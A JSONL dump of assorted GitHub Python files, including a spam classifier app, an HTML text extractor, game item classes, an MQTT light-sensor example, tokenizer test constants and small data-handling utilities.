{"seq_id":"1711435314","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Feb  1 00:11:04 2023\r\n\r\n@author: \r\n\"\"\"\r\nimport streamlit as st\r\nimport pickle\r\nimport database as db\r\n\r\nmodel = pickle.load(open('model.sav','rb'))\r\n\r\nst.title(\"Spam Mail Classifier \")\r\n\r\nt = st.text_area(\"Enter the message\")\r\ninput_msg=[t]\r\nif st.button('Predict'):\r\n    if len(t)==0:\r\n        st.warning(\"Please enter text\")\r\n    else:\r\n        result = model.predict(input_msg)\r\n        if result[0] ==1 :\r\n            st.success(\"This is a Spam message :loudspeaker:\")\r\n            db.insert_data(t,\"Spam message\")\r\n        else:\r\n            st.success(\"This is Not a Spam message\")\r\n            db.insert_data(t,\"Not a Spam message\")\r\nlink='For dataset check out [link](https://drive.google.com/file/d/1wNxeZqZVmsFMyCHTmqBEwz0iJr3gEHOc/view?usp=drivesdk)'\r\nst.markdown(link,unsafe_allow_html=True)\r\n","repo_name":"Namithayadav/spam-mail","sub_path":"spamapp.py","file_name":"spamapp.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"5541691347","text":"#!/usr/bin/env python3\n\n#\n# Extract text from html\n#\n\nimport alcazar.bodytext\nimport argparse\nimport glob\nimport logging\nimport os\nimport os.path\nimport sys\nimport time\n\nfrom bs4 import BeautifulSoup, UnicodeDammit\nfrom make_index import get_lang_url\n\nLOG = logging.getLogger(__name__)\n\ndef main():\n  logging.basicConfig(format='%(asctime)s %(levelname)s: %(name)s:  %(message)s', datefmt='%Y-%m-%d %H:%M:%S', level=logging.DEBUG)\n  parser = argparse.ArgumentParser()\n  parser.add_argument(\"-f\", \"--from-dir\", required=True)\n  parser.add_argument(\"-t\", \"--to-dir\", required=True)\n  parser.add_argument(\"-i\", \"--index-file\", required=True)\n  args = parser.parse_args()\n\n  if not os.path.exists(args.from_dir):\n    LOG.error(\"Does not exist: \" + args.from_dir)\n    sys.exit(1)\n\n\n  if not os.path.exists(args.to_dir):\n    os.makedirs(args.to_dir)\n\n  lang = os.path.basename(os.path.dirname(args.from_dir))\n\n  enurl_to_name = {}\n  with open(args.index_file) as ifh:\n    for line in ifh:\n      name, enurl = line[:-1].split()\n      enurl_to_name[enurl] = name\n\n  for html_file in glob.glob(args.from_dir + \"/*\"):\n    if not lang == \"en\" and not \"%\" in html_file:\n      continue\n\n    LOG.info(\"Reading html from {}\".format(html_file))\n    html = open(html_file, \"rb\").read()\n    dammit = UnicodeDammit(html)\n    soup = BeautifulSoup(dammit.unicode_markup, \"html.parser\")\n    tweets = soup.find_all(\"blockquote\", attrs={\"class\": \"twitter-tweet\"})\n    for t in tweets:\n      t.clear()\n    btext = alcazar.bodytext.parse_article(dammit.unicode_markup)\n    btext = alcazar.bodytext.parse_article(str(soup))\n    if btext.body_text:\n      enurl = get_lang_url(dammit.unicode_markup, \"en\")\n      if not enurl in enurl_to_name:\n        LOG.warn(\"Could not identify link to en article in \" + html_file)\n        continue\n      out_file = \"{}/{}.txt\".format(args.to_dir, enurl_to_name[enurl])\n      LOG.info(\"Writing text to {}\".format(out_file))\n      with open(out_file, \"w\") as ofh:\n        print(btext.body_text, file=ofh, end=\"\")\n\n\n  \n\n\nif __name__ == \"__main__\":\n  main()\n","repo_name":"bhaddow/pmindia-crawler","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"38"}
{"seq_id":"32405857859","text":"import abc\nimport logging\nfrom enum import Enum\n\nfrom colorama import Fore, Style, init\n\n\nclass ABCLog(abc.ABC):\n    @abc.abstractproperty\n    def logger(self):\n        \"\"\"\n        Get your class logger\n        \"\"\"\n\n\nclass LogColor(Enum):\n    WHITE = Fore.WHITE\n    GREEN = Fore.GREEN\n    BLUE = Fore.BLUE\n    YELLOW = Fore.YELLOW\n    RED = Fore.RED\n\n\nDEFAULT_COLORS = {\n    logging.DEBUG: LogColor.GREEN,\n    logging.INFO: LogColor.BLUE,\n    logging.WARNING: LogColor.YELLOW,\n    logging.ERROR: LogColor.RED,\n}\n\n\ninit(autoreset=True)\n\n\nclass ColorFormatter(logging.Formatter):\n    def __init__(\n        self,\n        colors: dict[int, LogColor] | None = None,\n        **kwargs,\n    ):\n        super().__init__(**kwargs)\n        self._colors = colors if colors is not None else DEFAULT_COLORS\n\n    def formatMessage(self, record: logging.LogRecord):\n        rd = record.__dict__\n        levelno: int = rd[\"levelno\"]\n        levelname: str = rd[\"levelname\"]\n        rd[\"levelname\"] = (\n            self._colors[levelno].value\n            + Style.BRIGHT\n            + levelname\n            + Style.RESET_ALL\n            + Fore.RESET\n        )\n        return super().formatMessage(record)\n","repo_name":"tatsuya4649/mmy","sub_path":"mmy/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"3972533804","text":"import tempfile\nimport uuid\nfrom abc import abstractmethod\nfrom pathlib import Path\nfrom typing import Any, Optional, Type\n\nimport numpy as np\nfrom sklearn.base import TransformerMixin\nfrom sklearn.preprocessing import MinMaxScaler as OrgMinMaxScaler\n\nfrom tidewater.datatypes.base import NumpyType\nfrom tidewater.datatypes.model import SKLearnModel\nfrom tidewater.transformers.base import Transformer, TransformerMode\nfrom tidewater.transformers.interface import InputInterface, OutputInterface\n\n\nclass Scaler(Transformer):\n    def __init__(self, **kwargs: Any):\n        super().__init__(**kwargs)\n        self.scaler: Optional[Any] = None\n\n    def _train(self, X: np.ndarray, y: Optional[np.ndarray] = None, **kwargs: Any) -> SKLearnModel:\n        self.scaler = self._scaler_class()()\n        self.scaler.fit(X)\n        fname = str(uuid.uuid1())\n        return SKLearnModel.from_transformer(self.scaler, self._intermediate_results_dir / fname)\n\n    def _transform(self, X: np.ndarray, **kwargs: Any) -> np.ndarray:\n        if self.scaler is None:\n            self._train(X)\n        if self.scaler is not None:\n            result: np.ndarray = self.scaler.transform(X)\n            return result\n        else:\n            raise ValueError(\"Scaler is not trained\")\n\n    def execute(self, **kwargs: Any) -> None:\n        array = self.get_input_value(\"data\")[0]\n        assert array is not None and isinstance(array, NumpyType), \"The input values for the Scaler are not valid.\"\n\n        if self._transformer_mode == TransformerMode.TRANSFORMING:\n            model = self.get_input_value(\"model\")[0]\n            assert model is not None and isinstance(\n                model, SKLearnModel\n            ), \"The input values for the Scaler are not valid.\"\n            self.scaler = model.materialize()\n\n            scaled = self._transform(array.to_2d())\n            self.set_output_value(data=NumpyType(ndarray=scaled))\n        else:\n            model = self._train(array.to_2d())\n            self.set_output_value(model=model)\n\n    @staticmethod\n    def _build_train_input_interface() -> InputInterface:\n        return InputInterface(data=NumpyType)\n\n    @staticmethod\n    def _build_transform_input_interface() -> InputInterface:\n        return InputInterface(data=NumpyType, model=SKLearnModel)\n\n    @staticmethod\n    def _build_train_output_interface() -> OutputInterface:\n        return OutputInterface(model=SKLearnModel)\n\n    @staticmethod\n    def _build_transform_output_interface() -> OutputInterface:\n        return OutputInterface(data=NumpyType)\n\n    @staticmethod\n    @abstractmethod\n    def _scaler_class() -> Type:\n        \"\"\"\n        This method returns an SKLearn Scaler.\n        \"\"\"\n        ...\n\n\nclass MinMaxScaler(Scaler):\n    @staticmethod\n    def _scaler_class() -> Type:\n        return OrgMinMaxScaler  # type: ignore\n","repo_name":"HPI-Information-Systems/tidewater","sub_path":"tidewater/transformers/data_handling/scaler.py","file_name":"scaler.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34028465855","text":"from ansible.module_utils.basic import *\nfrom  subprocess import Popen,PIPE\n\ndef finds(port):\n    try:\n        s=Popen(\"lsof -i :{0} | grep -v PID \".format(port),stdout=PIPE,shell=True).communicate()[0].split()[1]\n        return s\n    except Exception as e:\n        print(e)\n\n\n\nif __name__ == '__main__':\n    fields = {\"port\": {\"required\": True} }\n    module = AnsibleModule(argument_spec=fields)\n    port = int(os.path.expanduser(module.params['port']))\n    rets=finds(port)\n    module.exit_json(msg=rets)\n\n","repo_name":"praveensams16/automate","sub_path":"docker/library/finds.py","file_name":"finds.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"7883339106","text":"# 문제 15. 문자의 위치 구하기\n\nword = input()\ncount = 0   #특정 문자 위치(인덱스)값\nresult = '' #결과값 출력통\n# range(len(word))\n\nfor c in word:\n    if c == 'a':\n        result = result + f'{count} '\n        #break\n    elif result == '':\n        result = '-1'\n    count += 1\n    \n\nprint(result)","repo_name":"maybe-tooday/TIL","sub_path":"파이썬_문제풀이/python_0714/015.py","file_name":"015.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"25679147086","text":"import time\nimport threading\n\nfrom configure import *\n\n\n# 全局锁，在渲染时使用\nrender_lock = threading.Lock()\n\n\nclass Item:\n    \"\"\"\n    所有item的基类\n    \"\"\"\n    def __init__(self, x, y):\n        self.x = x\n        self.y = y\n        self.battle_map = None\n        self.controller = None\n        self.lock = render_lock\n\n    def be_interacted(self, player):\n        pass\n\n    def pop_item(self):\n        render_lock.acquire()\n        self.battle_map.map.pop((self.x, self.y))\n        render_lock.release()\n\n\nclass Wall(Item):\n    def __init__(self, x, y, wall_number):\n        super().__init__(x, y)\n        data = wall_dict[wall_number]\n        self.name = data['name']\n        self.images = data['images']\n        self.image = data['image']\n        self.destroyable = False\n\n    def be_interacted(self, player):\n        if self.destroyable:\n            self.action()\n            self.pop_item()\n            return True\n        self.controller.display('这是一堵墙')\n        return False\n\n    def action(self):\n        for i in [1, 2, 3]:\n            time.sleep(0.08)\n            self.image = self.images[i]\n\n\nclass Monster(Item):\n    def __init__(self, x, y, monster_number):\n        super().__init__(x, y)\n        data = monster_dict[monster_number]\n        self.name = data['name']\n        self.life = data['life']\n        self.attack = data['attack']\n        self.defend = data['defend']\n        self.speed = data['life']\n        self.image = data['image']\n\n    def be_interacted(self, player):\n        left_life = self.fight(player)\n        if left_life < 0:\n            self.controller.display('怪物太强大了，回去再练练吧')\n            return False\n        else:\n            self.pop_item()\n            self.controller.display('你击败了{}，损失{}生命'.format(self.name, player.life - left_life))\n            player.life = left_life\n            return True\n\n    def fight(self, player):\n        monster_life = self.life\n        player_life = player.life\n        if self.speed > player.speed:\n            while True:\n                player_life -= (self.attack - player.defend)\n                if player_life < 0:\n                    break\n                monster_life -= (player.attack - self.defend)\n                if monster_life < 0:\n                    break\n        else:\n            while True:\n                monster_life -= (player.attack - self.defend)\n                if monster_life < 0:\n                    break\n                player_life -= (self.attack - player.defend)\n                if player_life < 0:\n                    break\n        return player_life\n\n\nclass Door(Item):\n    def __init__(self, x, y, door_number):\n        super().__init__(x, y)\n        data = door_dict[door_number]\n        self.name = data['name']\n        self.images = data['images']\n        self.image = data['image']\n\n    def be_interacted(self, player):\n        if self.name == '黄门' and player.yellow_key > 0:\n            player.yellow_key -= 1\n        elif self.name == '蓝门' and player.blue_key > 0:\n            player.blue_key -= 1\n        elif self.name == '红门' and player.red_key > 0:\n            player.red_key -= 1\n        else:\n            self.controller.display('你没有可以打开这扇门的钥匙')\n            return False\n        self.action()\n        self.pop_item()\n        self.controller.display('你打开了一扇门')\n        return True\n\n    def action(self):\n        for i in [1, 2, 3]:\n            time.sleep(0.08)\n            self.image = self.images[i]\n\n\nclass Drug(Item):\n    def __init__(self, x, y, drug_number):\n        super().__init__(x, y)\n        data = drug_dict[drug_number]\n        self.name = data['name']\n        self.heal = data['heal']\n        self.image = data['image']\n\n    def be_interacted(self, player):\n        player.life += self.heal\n        self.pop_item()\n        self.controller.display('喝下了{}，回复{}生命值'.format(self.name, self.heal))\n        return True\n\n\nclass Gem(Item):\n    def __init__(self, x, y, gem_number):\n        super().__init__(x, y)\n        data = gem_dict[gem_number]\n        self.name = data['name']\n        self.type = data['type']\n        self.number = data['number']\n        self.image = data['image']\n\n    def be_interacted(self, player):\n        if self.type == 'attack':\n            player.attack += self.number\n            param = '攻击力'\n        elif self.type == 'defend':\n            player.defend += self.number\n            param = '防御力'\n        else:\n            player.speed += self.number\n            param = '速度'\n        self.pop_item()\n        self.controller.display('捡到一块{}，{}提升{}点'.format(self.name, param, self.number))\n        return True\n\n\nclass Key(Item):\n    def __init__(self, x, y, key_number):\n        super().__init__(x, y)\n        data = key_dict[key_number]\n        self.name = data['name']\n        self.image = data['image']\n\n    def be_interacted(self, player):\n        self.pop_item()\n        self.controller.display('你捡到了一把{}'.format(self.name))\n        if self.name == '黄钥匙':\n            player.yellow_key += 1\n        elif self.name == '蓝钥匙':\n            player.blue_key += 1\n        else:\n            player.red_key += 1\n        return True\n\n\nclass Stairs(Item):\n    def __init__(self, x, y, stairs_number):\n        super().__init__(x, y)\n        data = stairs_dict[stairs_number]\n        self.name = data['name']\n        self.image = data['image']\n\n    def be_interacted(self, player):\n        self.action()\n        self.controller.display('你来到了{}楼'.format(self.battle_map.tower.current_floor))\n        return False\n\n    def action(self):\n        if self.name == 'down':\n            self.battle_map.tower.current_floor -= 1\n        else:\n            self.battle_map.tower.current_floor += 1\n        self.battle_map.tower.load(self.battle_map.tower.player, self.name, self.battle_map.tower.current_floor)\n\n\nclass Weapon(Item):\n    def __init__(self, x, y, weapon_number):\n        super().__init__(x, y)\n        data = weapon_dict[weapon_number]\n        self.name = data['name']\n        self.attack = data['attack']\n        self.image = data['image']\n\n    def be_interacted(self, player):\n        player.attack += self.attack\n        player.weapon_image = self.image\n        self.pop_item()\n        self.controller.display('你得到了一把宝剑，攻击力提升{}'.format(self.attack))\n        return True\n","repo_name":"cao93821/magic-tower","sub_path":"magic_tower_project_old/magic_tower/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":6456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"9563402748","text":"\r\nimport datetime\r\nimport requests\r\nimport urllib.parse\r\nimport json\r\n\r\nfrom fetch_daily._polygon import _convert\r\n\r\n\r\ndef fetch_stock_data(symbol, start_date=None, end_date=None):\r\n    # api-key _9OLGNWHtV6TQU4GKdzKx65sgDvOtvpm\r\n\r\n    # sample requests S&P 500:\r\n    #   https://api.polygon.io/v2/aggs/ticker/SPY/range/30/minute/2020-11-.19/2020-11-19?sort=asc&limit=10&apiKey=_9OLGNWHtV6TQU4GKdzKx65sgDvOtvpm\r\n\r\n    if start_date is None:\r\n        start_date = datetime.date.today()\r\n    start_date = _convert.datetime_to_str(start_date)\r\n    if end_date is not None:\r\n        end_date = _convert.datetime_to_str(end_date)\r\n\r\n    API_KEY = \"_9OLGNWHtV6TQU4GKdzKx65sgDvOtvpm\"\r\n\r\n    symbol = urllib.parse.quote(symbol)\r\n\r\n    url = \"https://api.polygon.io/v2/aggs/ticker/SPY/range/5/minute/2020-11-19/2020-11-19?unadjusted=true&sort=asc&limit=150&apiKey=_9OLGNWHtV6TQU4GKdzKx65sgDvOtvpm\"\r\n\r\n    querystring = dict(region=\"US\",\r\n                       comparisons=\"%5EGDAXI%2C%5EFCHI\",\r\n                       symbol=symbol,\r\n                       interval=\"5m\",\r\n                       range=\"1d\",\r\n                       )\r\n\r\n    # Regarding parameters: period1; period2 > Wrong API description > Does not work\r\n\r\n    response = requests.request(\"GET\", url)\r\n    txt = response.text\r\n    resp_dict = json.loads(txt)\r\n    resp_dict_list = _convert.to_adjusted_dict_list(resp_dict)\r\n    return resp_dict_list\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    fetch_stock_data(\"SPY\")\r\n","repo_name":"HenningUe/stock-price-predictor","sub_path":"_libs/_archiv/ploygon/_main.py","file_name":"_main.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"479331924","text":"# BOJ 13413 오셀로 재배치\nimport sys\nsys.stdin = open('input.txt')\n\nfor _ in range(int(input())):\n    N = int(input())\n    before = input()\n    after = input()\n    if before.count('W') == after.count('W'):\n        cnt = 0\n        for i in range(N):\n            if before[i] != after[i]:\n                cnt += 1\n        print(cnt//2)\n    else:\n        W = B = 0\n        for j in range(N):\n            if before[j] != after[j]:\n                if before[j] == 'W':\n                    W += 1\n                else:\n                    B += 1\n        print(max(B, W))\n","repo_name":"hy2jin/TIL","sub_path":"ALGORITHM/BOJ/22년8월_이전/13413_오셀로재배치.py","file_name":"13413_오셀로재배치.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14032434319","text":"\"\"\"A simple example of broadcasting a light sensor's data as a percentage.\n\nThis was tested on a UnexpectedMaker FeatherS2 board.\n\"\"\"\n# pylint: disable=import-error,no-member,unused-argument,invalid-name\nimport time\nimport analogio\nimport board\nimport socketpool  # type: ignore\nimport wifi  # type: ignore\nfrom adafruit_minimqtt.adafruit_minimqtt import MQTT, MMQTTException\nfrom circuitpython_homie import HomieDevice, HomieNode\nfrom circuitpython_homie.recipes import PropertyPercent\n\n# Get wifi details and more from a secrets.py file\ntry:\n    from secrets import wifi_settings, mqtt_settings\nexcept ImportError as exc:\n    raise RuntimeError(\n        \"WiFi and MQTT secrets are kept in secrets.py, please add them there!\"\n    ) from exc\n\nprint(\"Connecting to\", wifi_settings[\"ssid\"])\nwifi.radio.connect(**wifi_settings)\nprint(\"Connected successfully!\")\nprint(\"My IP address is\", wifi.radio.ipv4_address)\n\nprint(\"Using MQTT broker: {}:{}\".format(mqtt_settings[\"broker\"], mqtt_settings[\"port\"]))\npool = socketpool.SocketPool(wifi.radio)\nmqtt_client = MQTT(**mqtt_settings, socket_pool=pool)\n\n# create a light_sensor object for analog readings\nlight_sensor_pin = board.IO4  # change this accordingly\nlight_sensor = analogio.AnalogIn(light_sensor_pin)\n\n# create the objects that describe our device\ndevice = HomieDevice(mqtt_client, \"my device name\", \"lib-light-sensor-test-id\")\nambient_light_node = HomieNode(\"ambient-light\", \"Light Sensor\")\nambient_light_property = PropertyPercent(\"brightness\")\n\n# append the objects to the device's attributes\nambient_light_node.properties.append(ambient_light_property)\ndevice.nodes.append(ambient_light_node)\n\n\ndef on_disconnected(client: MQTT, user_data, rc):\n    \"\"\"Callback invoked when connection to broker is terminated.\"\"\"\n    print(\"Reconnecting to the broker.\")\n    client.reconnect()\n    device.set_state(\"ready\")\n\n\nmqtt_client.on_disconnect = on_disconnected\nmqtt_client.on_connect = lambda *args: print(\"Connected to the MQTT broker!\")\n\n# connect to the broker and publish/subscribe the device's topics\ndevice.begin(keep_alive=3000)\n# keep_alive must be set to avoid the device's `$state` being considered \"lost\"\n\n# a forever loop\ntry:\n    refresh_last = time.time()\n    while True:\n        try:\n            now = time.time()\n            if now - refresh_last > 0.5:  # refresh every 0.5 seconds\n                refresh_last = now\n                assert mqtt_client.is_connected()\n                value = device.set_property(\n                    ambient_light_property, light_sensor.value / 65535 * 100\n                )\n                print(\"light sensor value:\", value, end=\"\\r\")\n        except MMQTTException:\n            print(\"\\n!!! Connection with broker is lost.\")\nexcept KeyboardInterrupt:\n    device.set_state(\"disconnected\")\n    print()  # move cursor to next line\n    mqtt_client.on_disconnect = lambda *args: print(\"Disconnected from broker\")\n    mqtt_client.disconnect()\n","repo_name":"2bndy5/CircuitPython_Homie","sub_path":"examples/homie_light_sensor_test.py","file_name":"homie_light_sensor_test.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23267720730","text":"from typing import List\n\nfrom helm.common.authentication import Authentication\nfrom helm.proxy.services.server_service import ServerService\nfrom helm.benchmark.metrics.metric_service import MetricService\nfrom .tokenizer_service import TokenizerService\n\n\nTEST_PROMPT: str = (\n    \"The Center for Research on Foundation Models (CRFM) is \"\n    \"an interdisciplinary initiative born out of the Stanford \"\n    \"Institute for Human-Centered Artificial Intelligence (HAI) \"\n    \"that aims to make fundamental advances in the study, development, \"\n    \"and deployment of foundation models.\"\n)\n\nGPT2_TEST_TOKEN_IDS: List[int] = [\n    464,\n    3337,\n    329,\n    4992,\n    319,\n    5693,\n    32329,\n    357,\n    9419,\n    23264,\n    8,\n    318,\n    281,\n    987,\n    40625,\n    10219,\n    4642,\n    503,\n    286,\n    262,\n    13863,\n    5136,\n    329,\n    5524,\n    12,\n    19085,\n    1068,\n    35941,\n    9345,\n    357,\n    7801,\n    40,\n    8,\n    326,\n    12031,\n    284,\n    787,\n    7531,\n    14901,\n    287,\n    262,\n    2050,\n    11,\n    2478,\n    11,\n    290,\n    14833,\n    286,\n    8489,\n    4981,\n    13,\n]\n\nGPT2_TEST_TOKENS: List[str] = [\n    \"The\",\n    \" Center\",\n    \" for\",\n    \" Research\",\n    \" on\",\n    \" Foundation\",\n    \" Models\",\n    \" (\",\n    \"CR\",\n    \"FM\",\n    \")\",\n    \" is\",\n    \" an\",\n    \" inter\",\n    \"disciplinary\",\n    \" initiative\",\n    \" born\",\n    \" out\",\n    \" of\",\n    \" the\",\n    \" Stanford\",\n    \" Institute\",\n    \" for\",\n    \" Human\",\n    \"-\",\n    \"Cent\",\n    \"ered\",\n    \" Artificial\",\n    \" Intelligence\",\n    \" (\",\n    \"HA\",\n    \"I\",\n    \")\",\n    \" that\",\n    \" aims\",\n    \" to\",\n    \" make\",\n    \" fundamental\",\n    \" advances\",\n    \" in\",\n    \" the\",\n    \" study\",\n    \",\",\n    \" development\",\n    \",\",\n    \" and\",\n    \" deployment\",\n    \" of\",\n    \" foundation\",\n    \" models\",\n    \".\",\n]\n\nGPT4_TEST_TOKEN_IDS: List[int] = [\n    791,\n    5955,\n    369,\n    8483,\n    389,\n    5114,\n    27972,\n    320,\n    9150,\n    26691,\n    8,\n    374,\n    459,\n    88419,\n    20770,\n    9405,\n    704,\n    315,\n    279,\n    31788,\n    10181,\n    369,\n    11344,\n    7813,\n    87143,\n    59294,\n    22107,\n    320,\n    39,\n    15836,\n    8,\n    430,\n    22262,\n    311,\n    1304,\n    16188,\n    31003,\n    304,\n    279,\n    4007,\n    11,\n    4500,\n    11,\n    323,\n    24047,\n    315,\n    16665,\n    4211,\n    13,\n]\n\nGPT4_TEST_TOKENS: List[str] = [\n    \"The\",\n    \" Center\",\n    \" for\",\n    \" Research\",\n    \" on\",\n    \" Foundation\",\n    \" Models\",\n    \" (\",\n    \"CR\",\n    \"FM\",\n    \")\",\n    \" is\",\n    \" an\",\n    \" interdisciplinary\",\n    \" initiative\",\n    \" born\",\n    \" out\",\n    \" of\",\n    \" the\",\n    \" Stanford\",\n    \" Institute\",\n    \" for\",\n    \" Human\",\n    \"-C\",\n    \"entered\",\n    \" Artificial\",\n    \" Intelligence\",\n    \" (\",\n    \"H\",\n    \"AI\",\n    \")\",\n    \" that\",\n    \" aims\",\n    \" to\",\n    \" make\",\n    \" fundamental\",\n    \" advances\",\n    \" in\",\n    \" the\",\n    \" study\",\n    \",\",\n    \" development\",\n    \",\",\n    \" and\",\n    \" deployment\",\n    \" of\",\n    \" foundation\",\n    \" models\",\n    \".\",\n]\n\n\ndef get_tokenizer_service(local_path: str) -> TokenizerService:\n    service = ServerService(base_path=local_path, root_mode=True)\n    return MetricService(service, Authentication(\"test\"))\n","repo_name":"stanford-crfm/helm","sub_path":"src/helm/benchmark/window_services/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":3227,"program_lang":"python","lang":"en","doc_type":"code","stars":1320,"dataset":"github-code","pt":"38"}
{"seq_id":"1061455997","text":"import queue\nimport random\nimport threading\nimport time\n\nimport pythonosc.udp_client\n\ndef get_random_hr():\n\treturn random.normalvariate(80, 15)\n\ndef hr_beat_thread(q, beat):\n\tbaseline = q.get()\n\twhile True:\n\t\ttry:\n\t\t\tbaseline = q.get(block=False)\n\t\texcept queue.Empty: pass\n\n\t\tvariance = random.normalvariate(0, 2)\n\n\t\tst = 60 / (baseline + variance)\n\t\tif st > 0: time.sleep(st)\n\t\tbeat()\n\ndef main():\n\tosc_client = pythonosc.udp_client.SimpleUDPClient('10.88.0.16', 11543)\n\tbaseline_exp = 0\n\n\tlast_tick_time = time.monotonic()\n\tdef beat():\n\t\tnonlocal last_tick_time\n\t\tnow = time.monotonic()\n\t\tdt = now - last_tick_time\n\t\tlast_tick_time = now\n\n\t\tbpm = 60 / dt\n\t\tprint(\"tick %.2f (%.3f)\" % (bpm, dt))\n\t\tosc_client.send_message('/heartbeat', bpm)\n\n\thr_beat_queue = queue.Queue()\n\tthreading.Thread(target=hr_beat_thread, args=(hr_beat_queue, beat)).start()\n\n\twhile True:\n\t\tnow = time.monotonic()\n\n\t\tif now > baseline_exp:\n\t\t\tbaseline = get_random_hr()\n\t\t\tduration = random.normalvariate(30, 10)\n\t\t\tbaseline_exp = now + duration\n\t\t\tprint(\"Baseline now %d for %2.1fs\" % (baseline, duration))\n\t\t\thr_beat_queue.put(baseline)\n\n\t\ttime.sleep(1)\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"aib/BioNarrated","sub_path":"fakedata.py","file_name":"fakedata.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4343780706","text":"import pandas as pd\nfrom botocore.exceptions import ClientError\n\n\ndef get_most_recent_date(table):\n    \"\"\"\n    If the table contains data, returns the most recent date; else, returns None.\n    \"\"\"\n    response = table.scan()\n\n    data = response['Items']\n    most_recent_date = pd.Timestamp(\"2000-01-01\")\n\n    if data:\n        data_dates = [item['date'] for item in data]\n        for date in data_dates:\n            date_timestamp = pd.Timestamp(date)\n            if date_timestamp > most_recent_date:\n                most_recent_date = date_timestamp\n        return most_recent_date\n    else:\n        return None\n\n\ndef add_rows_to_database(rows_to_add: pd.DataFrame, table):\n    \"\"\"\n    Adds dataset rows to the database; returns number of rows added to the database.\n    \"\"\"\n    batch_size = 100\n    batch = []\n    rows_added = 0\n\n    for row in rows_to_add.itertuples():\n        if len(batch) >= batch_size:\n            write_to_database(batch, table)\n            batch.clear()\n        batch.append(row)\n        rows_added += 1\n\n    if batch:\n        write_to_database(batch, table)\n\n    return rows_added\n\n\ndef write_to_database(rows, table):\n    \"\"\"\n    Writes one batch of up to 100 items to the database.\n    \"\"\"\n    try:\n        with table.batch_writer() as batch:\n            for row in rows:\n                batch.put_item(\n                    Item={\n                        'date': str(row.date),\n                        'cases': row.cases,\n                        'deaths': row.deaths,\n                        'recovered': row.recovered,\n                    }\n                )\n    except ClientError as e:\n        print(e)\n        print(\"Error executing batch writer.\")\n\n\n# class CovidDayStats:\n#     def __init__(self, datestring, cases, deaths, recovered):\n#         self.datestring = datestring\n#         self.cases = cases\n#         self.deaths = deaths\n#         self.recovered = recovered\n#\n#     def date_as_timestamp(self):\n#         date = pd.Timestamp(self.datestring)\n#         return date\n#\n#     def __str__(self):\n#         return f\"date: {self.datestring} / cases: {self.cases} / deaths: {self.deaths} / recovered: {self.recovered}\"\n#\n#\n# class CovidDataContainer:\n#     def __init__(self):\n#         self.data_dict = {}\n#\n#     def add_day(self, day):\n#         self.data_dict[day.date_as_timestamp()] = day\n#\n#     def get_day_with_timestamp(self, timestamp):\n#         return self.data_dict[timestamp]\n#\n#     def get_most_recent_date(self):\n#         most_recent_date = pd.Timestamp(\"2010-01-01\")\n#         for key in self.data_dict:\n#             key_timestamp = pd.Timestamp(key)\n#             if key_timestamp > most_recent_date:\n#                 most_recent_date = key_timestamp\n#         return most_recent_date\n#\n#     def __len__(self):\n#         return len(self.data_dict)\n#\n#     def __str__(self):\n#         return f\"A Covid data container with {len(self.data_dict)} rows.\"\n","repo_name":"aeversme/cloud-challenge-python-etl","sub_path":"data_handler.py","file_name":"data_handler.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"74520927471","text":"import nltk\nfrom bs4 import BeautifulSoup\nfrom write import writeDict\n       \ndef buildRawFreqVectors():\n    f1=open('e960401.htm')\n    t=f1.read()\n    t_lower=t.lower()\n     \n    '''lxml is the best available HTML parser for BeautifulSoup,\n    lxml deletes markup and represents letters with clitics correctly'''\n    soup = BeautifulSoup(t_lower, 'lxml')\n    text = soup.get_text() \n    tokens=nltk.Text(nltk.word_tokenize(text))\n    vocabulary=list(set(tokens))\n \n    f2=open('contexts.txt', encoding='utf-8')\n    contexts=f2.readlines()\n     \n    rawFreqVectorsDict={}\n     \n    for context in contexts:\n        words=context.split()\n        vector=[]\n        for voc in vocabulary:\n            if voc in words[1:]:\n                vector.append(words[1:].count(voc))\n            else:\n                vector.append(0)\n        rawFreqVectorsDict[words[0]]=vector\n \n    return rawFreqVectorsDict\n     \n'''test if run as application'''\nif __name__=='__main__':\n    rawFreqVectorsDict=buildRawFreqVectors()\n    writeDict(rawFreqVectorsDict, 'rawFrequencyVectors.txt')","repo_name":"iangelmx/NaturalLanguageProcessing","sub_path":"kolesnikova01.py","file_name":"kolesnikova01.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
